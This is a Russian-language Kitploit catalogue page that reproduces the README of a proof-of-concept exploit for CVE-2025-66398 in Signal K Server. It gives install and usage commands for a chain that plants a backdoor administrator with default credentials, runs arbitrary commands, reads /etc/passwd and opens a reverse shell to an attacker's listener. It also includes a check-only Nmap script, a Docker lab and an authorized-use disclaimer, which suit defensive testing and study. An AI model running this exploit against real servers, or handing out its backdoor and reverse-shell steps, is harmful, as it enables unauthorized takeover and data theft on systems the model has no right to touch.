Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-66398 — CVE-2025-66398 — PoC RCE для Signal K Server ≤ 2.18.0 | Kitploit
Инструменты/GitHubGitHub/joshuavanderpoll/cve-2025-66398
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЛаборатории и Практика
GitHubjoshuavanderpoll/cve-2025-66398
266 месяцев назадЕщё не проверено

cve-2025-66398

CVE-2025-66398 — PoC RCE для Signal K Server ≤ 2.18.0

РепозиторийСайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-66398 — Signal K Server RCE PoC

Go Python Nmap

📜 Описание

CVE-2025-66398 — это проблема Signal K Server, при которой неаутентифицированный злоумышленник может отравить состояние восстановления сервера через /skServer/validateBackup, затем перехватить конфигурацию через /skServer/restore, чтобы внедрить бэкдор-администратора и (опционально) получить RCE, переключив стратегию безопасности на подконтрольный злоумышленнику модуль Node.js.

Затронутые версии: Signal K Server ≤ 2.18.0

Воздействие (высокоуровнево): неаутентифицированное загрязнение состояния → внедрение бэкдор-администратора → удаленное выполнение кода (при восстановлении и перезапуске)

✨ Особенности

  • Проверка уязвимости — Проверяет, принимает ли /skServer/validateBackup неаутентифицированные загрузки.
  • Nmap NSE-скрипт — Готовый http-signalk-cve-2025-66398.nse для использования в сетевых сканированиях (только проверка, без эксплуатации).
  • Интерактивный процесс эксплуатации — Проводит через 3 фазы и запрашивает учетные данные / пути.
  • Неинтерактивный режим — Полная цепочка с флагами (проверка, выполнение команд, чтение/запись файлов, обратный шелл).

🛠️ Установка

Python

OSX/Linux

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

GoLang

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go

Установка напрямую с помощью Go

root@kitploit:~
go install github.com/joshuavanderpoll/cve-2025-66398@latest

Запуск без установки

root@kitploit:~
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111

⚙️ Использование

У этого PoC есть два режима:

  • Интерактивный (по умолчанию): пошаговые подсказки + небольшое меню.
  • Неинтерактивный: передача флагов, таких как -check, -command, -read-file и т. д. (рекомендуется только после первого успешного интерактивного режима)

Справка / параметры

root@kitploit:~
python3 cve-2025-66398.py -h
# или GoLang-сборка
./cve-2025-66398 -h
                ___ __ ___ ___      __   __ _______ ___ 
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_/\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
              [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]

CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE

options:
  -h, --help            show this help message and exit
  -target URL           Base URL of the Signal K server
  -useragent UA         User-Agent header for all HTTP requests
  -timeout SEC          Request timeout in seconds (default: 10)
  -target-os OS         Target server OS for payload/path adaptation: linux (default) or windows
  -signalk-dir DIR      Override the Signal K data directory on the target (default: OS-dependent)
  -check                Test if the target is vulnerable without exploiting it
  -admin-user USER      Admin username for Phase 2 restore
  -admin-pass PASS      Admin password for Phase 2 restore
  -backdoor-user USER   Backdoor username to inject (default: backdoor)
  -backdoor-pass PASS   Backdoor password to inject (default: H4CK1nd3x!)
  -command CMD          Execute a command on the server (non-interactive)
  -read-file PATH       Read a remote file via RCE
  -write-file CONTENT PATH
                        Write CONTENT to PATH on the server via RCE
  -code CODE            Inject raw Node.js code as the security module
  -shell                Deploy a reverse shell (requires -lhost and -lport)
  -lhost HOST           Listener host for reverse shell
  -lport PORT           Listener port for reverse shell

Быстрая проверка (безопасно)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000 -check

Проверка уязвимости

Nmap NSE-проверка

Включен отдельный скрипт Nmap, выполняющий такой же неаутентифицированный зонд — без эксплуатации.

root@kitploit:~
# Против известного порта Signal K
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>

# Установить системно и запускать без пути
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>

Пример вывода:

root@kitploit:~
PORT     STATE SERVICE
9360/tcp open  unknown
| http-signalk-cve-2025-66398: 
|   state: VULNERABLE
|   title: Signal K Server Unauthenticated Backup Upload leading to RCE
|   IDs: CVE-2025-66398
|_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398

Интерактивная эксплуатация (с подсказками)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000

Интерактивный скрипт

Скрипт выполнит:

  1. Фаза 1 — Загрязнение состояния: загрузить вредоносный .backup на /skServer/validateBackup (без аутентификации)
  2. Фаза 2 — Перехват конфигурации: аутентифицироваться как администратор и запустить /skServer/restore
  3. Фаза 3 — RCE: загрузить второй backup, указывающий стратегию безопасности на вредоносный модуль, запустить restore, перезагрузить сервер, затем выполнить команду / шелл

Примеры неинтерактивного режима

Запустить полную цепочку (Фазы 1 → 3) и выполнить команду:

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

Выполнение команды

Чтение удаленного файла (Фаза 3):

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

Чтение файла

Обратный шелл (Фаза 3):

root@kitploit:~
nc -lvnp 4444

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

Обратный шелл

Примечания:

  • Если не передавать -admin-user/-admin-pass, скрипт предполагает, что учетная запись бэкдора уже активна с предыдущего запуска.
  • Учетные данные бэкдора по умолчанию: backdoor / H4CK1nd3x! (переопределить с помощью -backdoor-user / -backdoor-pass).
  • Для Фазы 3 требуется каталог данных Signal K. Скрипт попытается определить его автоматически во время Фазы 2; если не удалось, передайте -signalk-dir <DIR>.

🐋 Docker PoC

Автономная среда Docker Compose с уязвимым ПО для локального тестирования. Подробнее см. в DOCKER.md

root@kitploit:~
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360

🕵🏼 Ссылки

  • Signal K Server
  • NVD — CVE-2025-66398
  • HackIndex.io — CVE-2025-66398

📢 Отказ от ответственности

Этот PoC предназначен только для образовательного и авторизованного тестирования безопасности. Не запускайте его против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.

Скачать инструмент